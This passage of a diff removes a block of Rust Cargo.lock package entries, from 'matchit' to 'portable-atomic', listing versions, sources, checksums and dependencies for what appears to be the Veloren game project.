-checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558"
-dependencies = [
- "regex-automata 0.1.10",
-]
-
-[[package]]
-name = "matchit"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94"
-
-[[package]]
-name = "maybe-owned"
-version = "0.3.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4facc753ae494aeb6e3c22f839b158aebd4f9270f55cd3c79906c45476c47ab4"
-
-[[package]]
-name = "maybe-uninit"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
-
-[[package]]
-name = "memchr"
-version = "2.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149"
-
-[[package]]
-name = "memfd"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b2cffa4ad52c6f791f4f8b15f0c05f9824b2ced1160e88cc393d64fff9a8ac64"
-dependencies = [
- "rustix",
-]
-
-[[package]]
-name = "memmap2"
-version = "0.5.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83faa42c0a078c393f6b29d5db232d8be22776a891f8f56e5284faee4a20b327"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "memmap2"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f49388d20533534cd19360ad3d6a7dadc885944aa802ba3995040c5ec11288c6"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "memoffset"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "043175f069eda7b85febe4a74abbaeff828d9f8b448515d3151a14a3542811aa"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "memoffset"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "memoffset"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "metal"
-version = "0.27.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c43f73953f8cbe511f021b58f18c3ce1c3d1ae13fe953293e13345bf83217f25"
-dependencies = [
- "bitflags 2.5.0",
- "block",
- "core-graphics-types",
- "foreign-types 0.5.0",
- "log",
- "objc",
- "paste",
-]
-
-[[package]]
-name = "mimalloc"
-version = "0.1.39"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa01922b5ea280a911e323e4d2fd24b7fe5cc4042e0d2cda3c40775cdc4bdc9c"
-dependencies = [
- "libmimalloc-sys",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
-
-[[package]]
-name = "minifb"
-version = "0.25.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05eddefadb505d3dcb66a89fa77dd0936e72ec84e891cc8fc36e3c05bfe61103"
-dependencies = [
- "cc",
- "dlib",
- "futures",
- "instant",
- "js-sys",
- "lazy_static",
- "libc",
- "orbclient",
- "raw-window-handle 0.4.3",
- "serde",
- "serde_derive",
- "tempfile",
- "wasm-bindgen-futures",
- "wayland-client",
- "wayland-cursor",
- "wayland-protocols",
- "winapi",
- "x11-dl",
-]
-
-[[package]]
-name = "minimal-lexical"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
-
-[[package]]
-name = "miniz_oxide"
-version = "0.7.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7"
-dependencies = [
- "adler",
- "simd-adler32",
-]
-
-[[package]]
-name = "mio"
-version = "0.8.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4a650543ca06a924e8b371db273b2756685faae30f8487da1b56505a8f78b0c"
-dependencies = [
- "libc",
- "log",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "mumble-link"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c7f4c53745d4e7afd0faaf6ee46c0c3114d4b7d0db63bef96917751906453285"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "naga"
-version = "0.14.2"
-source = "git+https://github.com/Imberflur/wgpu.git?tag=0.18-with-fixes-for-veloren-v1#df527ef82e2eba827eda9278caa583506a06aa87"
-dependencies = [
- "bit-set",
- "bitflags 2.5.0",
- "codespan-reporting",
- "hexf-parse",
- "indexmap",
- "log",
- "num-traits",
- "petgraph 0.6.4",
- "pp-rs",
- "rustc-hash",
- "serde",
- "spirv",
- "termcolor",
- "thiserror",
- "unicode-xid 0.2.4",
-]
-
-[[package]]
-name = "nanorand"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
-dependencies = [
- "getrandom 0.2.12",
-]
-
-[[package]]
-name = "native-dialog"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1bbf55edb2747e4e4b3a9cd3989194b88aae32274b4422635dcf98aa6e84197b"
-dependencies = [
- "ascii",
- "block",
- "cocoa",
- "dirs-next",
- "objc",
- "objc-foundation",
- "objc_id",
- "once_cell",
- "raw-window-handle 0.4.3",
- "thiserror",
- "wfd",
- "which",
- "winapi",
-]
-
-[[package]]
-name = "ndk"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4"
-dependencies = [
- "bitflags 1.3.2",
- "jni-sys",
- "ndk-sys 0.3.0",
- "num_enum 0.5.11",
- "thiserror",
-]
-
-[[package]]
-name = "ndk"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "451422b7e4718271c8b5b3aadf5adedba43dc76312454b387e98fae0fc951aa0"
-dependencies = [
- "bitflags 1.3.2",
- "jni-sys",
- "ndk-sys 0.4.1+23.1.7779620",
- "num_enum 0.5.11",
- "raw-window-handle 0.5.2",
- "thiserror",
-]
-
-[[package]]
-name = "ndk-context"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b"
-
-[[package]]
-name = "ndk-glue"
-version = "0.6.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d0c4a7b83860226e6b4183edac21851f05d5a51756e97a1144b7f5a6b63e65f"
-dependencies = [
- "lazy_static",
- "libc",
- "log",
- "ndk 0.6.0",
- "ndk-context",
- "ndk-macro",
- "ndk-sys 0.3.0",
-]
-
-[[package]]
-name = "ndk-macro"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0df7ac00c4672f9d5aece54ee3347520b7e20f158656c7db2e6de01902eb7a6c"
-dependencies = [
- "darling 0.13.4",
- "proc-macro-crate",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "ndk-sys"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e5a6ae77c8ee183dcbbba6150e2e6b9f3f4196a7666c02a715a95692ec1fa97"
-dependencies = [
- "jni-sys",
-]
-
-[[package]]
-name = "ndk-sys"
-version = "0.4.1+23.1.7779620"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3cf2aae958bd232cac5069850591667ad422d263686d75b52a065f9badeee5a3"
-dependencies = [
- "jni-sys",
-]
-
-[[package]]
-name = "nibble_vec"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77a5d83df9f36fe23f0c3648c6bbb8b0298bb5f1939c8f2704431371f4b84d43"
-dependencies = [
- "smallvec",
-]
-
-[[package]]
-name = "nix"
-version = "0.23.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f3790c00a0150112de0f4cd161e3d7fc4b2d8a5542ffc35f099a2562aecb35c"
-dependencies = [
- "bitflags 1.3.2",
- "cc",
- "cfg-if 1.0.0",
- "libc",
- "memoffset 0.6.5",
-]
-
-[[package]]
-name = "nix"
-version = "0.24.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa52e972a9a719cecb6864fb88568781eb706bac2cd1d4f04a648542dbf78069"
-dependencies = [
- "bitflags 1.3.2",
- "cfg-if 1.0.0",
- "libc",
- "memoffset 0.6.5",
-]
-
-[[package]]
-name = "nix"
-version = "0.25.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f346ff70e7dbfd675fe90590b92d59ef2de15a8779ae305ebcbfd3f0caf59be4"
-dependencies = [
- "autocfg",
- "bitflags 1.3.2",
- "cfg-if 1.0.0",
- "libc",
- "memoffset 0.6.5",
-]
-
-[[package]]
-name = "nix"
-version = "0.28.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab2156c4fce2f8df6c499cc1c763e4394b7482525bf2a9701c9d79d215f519e4"
-dependencies = [
- "bitflags 2.5.0",
- "cfg-if 1.0.0",
- "cfg_aliases",
- "libc",
-]
-
-[[package]]
-name = "nohash-hasher"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2bf50223579dc7cdcfb3bfcacf7069ff68243f8c363f62ffa99cf000a6b9c451"
-
-[[package]]
-name = "noise"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "82051dd6745d5184c6efb7bc8be14892a7f6d4f3ad6dbf754d1c7d7d5fe24b43"
-dependencies = [
- "rand 0.7.3",
- "rand_xorshift",
-]
-
-[[package]]
-name = "nom"
-version = "7.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
-dependencies = [
- "memchr",
- "minimal-lexical",
-]
-
-[[package]]
-name = "notify"
-version = "6.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6205bd8bb1e454ad2e27422015fb5e4f2bcc7e08fa8f27058670d208324a4d2d"
-dependencies = [
- "bitflags 2.5.0",
- "crossbeam-channel",
- "filetime",
- "fsevent-sys",
- "inotify 0.9.6",
- "kqueue",
- "libc",
- "log",
- "mio",
- "walkdir",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "nougat"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97b57b9ced431322f054fc673f1d3c7fa52d80efd9df74ad2fc759f044742510"
-dependencies = [
- "macro_rules_attribute",
- "nougat-proc_macros",
-]
-
-[[package]]
-name = "nougat-proc_macros"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c84f77a45e99a2f9b492695d99e1c23844619caa5f3e57647cffacad773ca257"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.46.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
-dependencies = [
- "overload",
- "winapi",
-]
-
-[[package]]
-name = "num"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8536030f9fea7127f841b45bb6243b27255787fb4eb83958aa1ef9d2fdc0c36"
-dependencies = [
- "num-bigint 0.2.6",
- "num-complex 0.2.4",
- "num-integer",
- "num-iter",
- "num-rational 0.2.4",
- "num-traits",
-]
-
-[[package]]
-name = "num"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b05180d69e3da0e530ba2a1dae5110317e49e3b7f3d41be227dc5f92e49ee7af"
-dependencies = [
- "num-bigint 0.4.4",
- "num-complex 0.4.5",
- "num-integer",
- "num-iter",
- "num-rational 0.4.1",
- "num-traits",
-]
-
-[[package]]
-name = "num-bigint"
-version = "0.2.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "090c7f9998ee0ff65aa5b723e4009f7b217707f1fb5ea551329cc4d6231fb304"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-bigint"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "608e7659b5c3d7cba262d894801b9ec9d00de989e8a82bd4bef91d08da45cdc0"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-complex"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6b19411a9719e753aff12e5187b74d60d3dc449ec3f4dc21e3989c3f554bc95"
-dependencies = [
- "autocfg",
- "num-traits",
-]
-
-[[package]]
-name = "num-complex"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23c6602fda94a57c990fe0df199a035d83576b496aa29f4e634a8ac6004e68a6"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "num-conv"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9"
-
-[[package]]
-name = "num-derive"
-version = "0.3.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "num-derive"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed3955f1a9c7c0c15e092f9c887db08b1fc683305fdf6eb6684f22555355e202"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.46"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "num-iter"
-version = "0.1.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d869c01cc0c455284163fd0092f1f93835385ccab5a98a0dcc497b2f8bf055a9"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-rational"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c000134b5dbf44adc5cb772486d335293351644b801551abe8f75c84cfa4aef"
-dependencies = [
- "autocfg",
- "num-bigint 0.2.6",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-rational"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0"
-dependencies = [
- "autocfg",
- "num-bigint 0.4.4",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a"
-dependencies = [
- "autocfg",
- "libm",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "num_enum"
-version = "0.5.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f646caf906c20226733ed5b1374287eb97e3c2a5c227ce668c1f2ce20ae57c9"
-dependencies = [
- "num_enum_derive 0.5.11",
-]
-
-[[package]]
-name = "num_enum"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a015b430d3c108a207fd776d2e2196aaf8b1cf8cf93253e3a097ff3085076a1"
-dependencies = [
- "num_enum_derive 0.6.1",
-]
-
-[[package]]
-name = "num_enum_derive"
-version = "0.5.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dcbff9bc912032c62bf65ef1d5aea88983b420f4f839db1e9b0c281a25c9c799"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "num_enum_derive"
-version = "0.6.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "96667db765a921f7b295ffee8b60472b686a51d4f21c2ee4ffdb94c7013b65a6"
-dependencies = [
- "proc-macro-crate",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "number_prefix"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b246a0e5f20af87141b25c173cd1b609bd7779a4617d6ec582abaf90870f3"
-
-[[package]]
-name = "objc"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1"
-dependencies = [
- "malloc_buf",
- "objc_exception",
-]
-
-[[package]]
-name = "objc-foundation"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9"
-dependencies = [
- "block",
- "objc",
- "objc_id",
-]
-
-[[package]]
-name = "objc-sys"
-version = "0.2.0-beta.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df3b9834c1e95694a05a828b59f55fa2afec6288359cda67146126b3f90a55d7"
-
-[[package]]
-name = "objc2"
-version = "0.3.0-beta.3.patch-leaks.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e01640f9f2cb1220bbe80325e179e532cb3379ebcd1bf2279d703c19fe3a468"
-dependencies = [
- "block2",
- "objc-sys",
- "objc2-encode",
-]
-
-[[package]]
-name = "objc2-encode"
-version = "2.0.0-pre.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abfcac41015b00a120608fdaa6938c44cb983fee294351cc4bac7638b4e50512"
-dependencies = [
- "objc-sys",
-]
-
-[[package]]
-name = "objc_exception"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad970fb455818ad6cba4c122ad012fae53ae8b4795f86378bce65e4f6bab2ca4"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "objc_id"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b"
-dependencies = [
- "objc",
-]
-
-[[package]]
-name = "object"
-version = "0.32.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441"
-dependencies = [
- "crc32fast",
- "hashbrown 0.14.3",
- "indexmap",
- "memchr",
-]
-
-[[package]]
-name = "oboe"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "27f63c358b4fa0fbcfefd7c8be5cfc39c08ce2389f5325687e7762a48d30a5c1"
-dependencies = [
- "jni 0.19.0",
- "ndk 0.6.0",
- "ndk-context",
- "num-derive 0.3.3",
- "num-traits",
- "oboe-sys",
-]
-
-[[package]]
-name = "oboe-sys"
-version = "0.4.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3370abb7372ed744232c12954d920d1a40f1c4686de9e79e800021ef492294bd"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "ogg"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6951b4e8bf21c8193da321bcce9c9dd2e13c858fe078bf9054a288b419ae5d6e"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
-
-[[package]]
-name = "oorandom"
-version = "11.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ab1bc2a289d34bd04a330323ac98a1b4bc82c9d9fcb1e66b63caa84da26b575"
-
-[[package]]
-name = "openssl-probe"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
-
-[[package]]
-name = "option-ext"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
-
-[[package]]
-name = "orbclient"
-version = "0.3.47"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52f0d54bde9774d3a51dcf281a5def240c71996bc6ca05d2c847ec8b2b216166"
-dependencies = [
- "libc",
- "libredox 0.0.2",
- "sdl2",
- "sdl2-sys",
-]
-
-[[package]]
-name = "ordered-float"
-version = "1.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3305af35278dd29f46fcdd139e0b1fbfae2153f0e5928b39b035542dd31e37b7"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "ordered-float"
-version = "3.9.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f1e1c390732d15f1d48471625cd92d154e66db2c56645e29a9cd26f4699f72dc"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "ordered-float"
-version = "4.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a76df7075c7d4d01fdcb46c912dd17fba5b60c78ea480b475f2b6ab6f666584e"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "overload"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
-
-[[package]]
-name = "owned_ttf_parser"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4586edfe4c648c71797a74c84bacb32b52b212eff5dfe2bb9f2c599844023e7"
-dependencies = [
- "ttf-parser",
-]
-
-[[package]]
-name = "parking"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae"
-
-[[package]]
-name = "parking_lot"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99"
-dependencies = [
- "instant",
- "lock_api",
- "parking_lot_core 0.8.6",
-]
-
-[[package]]
-name = "parking_lot"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f"
-dependencies = [
- "lock_api",
- "parking_lot_core 0.9.9",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.8.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60a2cfe6f0ad2bfc16aefa463b497d5c7a5ecd44a23efa72aa342d90177356dc"
-dependencies = [
- "cfg-if 1.0.0",
- "instant",
- "libc",
- "redox_syscall 0.2.16",
- "smallvec",
- "winapi",
-]
-
-[[package]]
-name = "parking_lot_core"
-version = "0.9.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "redox_syscall 0.4.1",
- "smallvec",
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "parse-zoneinfo"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c705f256449c60da65e11ff6626e0c16a0a0b96aaa348de61376b249bc340f41"
-dependencies = [
- "regex",
-]
-
-[[package]]
-name = "paste"
-version = "1.0.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c"
-
-[[package]]
-name = "pem"
-version = "3.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b8fcc794035347fb64beda2d3b462595dd2753e3f268d89c5aae77e8cf2c310"
-dependencies = [
- "base64",
- "serde",
-]
-
-[[package]]
-name = "percent-encoding"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
-
-[[package]]
-name = "petgraph"
-version = "0.4.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c3659d1ee90221741f65dd128d9998311b0e40c5d3c23a62445938214abce4f"
-dependencies = [
- "fixedbitset 0.1.9",
-]
-
-[[package]]
-name = "petgraph"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9"
-dependencies = [
- "fixedbitset 0.4.2",
- "indexmap",
-]
-
-[[package]]
-name = "phf"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc"
-dependencies = [
- "phf_shared",
-]
-
-[[package]]
-name = "phf_codegen"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8d39688d359e6b34654d328e262234662d16cc0f60ec8dcbe5e718709342a5a"
-dependencies = [
- "phf_generator",
- "phf_shared",
-]
-
-[[package]]
-name = "phf_generator"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0"
-dependencies = [
- "phf_shared",
- "rand 0.8.5",
-]
-
-[[package]]
-name = "phf_shared"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b"
-dependencies = [
- "siphasher 0.3.11",
-]
-
-[[package]]
-name = "pin-project"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bf43b791c5b9e34c3d182969b4abb522f9343702850a2e57f460d00d09b4b3"
-dependencies = [
- "pin-project-internal",
-]
-
-[[package]]
-name = "pin-project-internal"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2f38a4412a78282e09a2cf38d195ea5420d15ba0602cb375210efbc877243965"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "piston-float"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b058c3a640efd4bcf63266512e4bb03187192c1b29edd38b16d5a014613e3199"
-
-[[package]]
-name = "piston-viewport"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d96dd995f7dabe6d57cda668ec0fda39d6fe6e1e0b23f772582f383f2013611"
-dependencies = [
- "piston-float",
-]
-
-[[package]]
-name = "pistoncore-input"
-version = "0.24.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c612ce242c7bac8e96426a0ca34275fd980af440f0cca7c6c0e840ef8a4052f"
-dependencies = [
- "bitflags 1.3.2",
- "piston-viewport",
- "serde",
- "serde_derive",
-]
-
-[[package]]
-name = "pkg-config"
-version = "0.3.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d231b230927b5e4ad203db57bbcbee2802f6bce620b1e4a9024a07d94e2907ec"
-
-[[package]]
-name = "png"
-version = "0.17.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1"
-dependencies = [
- "bitflags 1.3.2",
- "crc32fast",
- "fdeflate",
- "flate2",
- "miniz_oxide",
-]
-
-[[package]]
-name = "portable-atomic"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
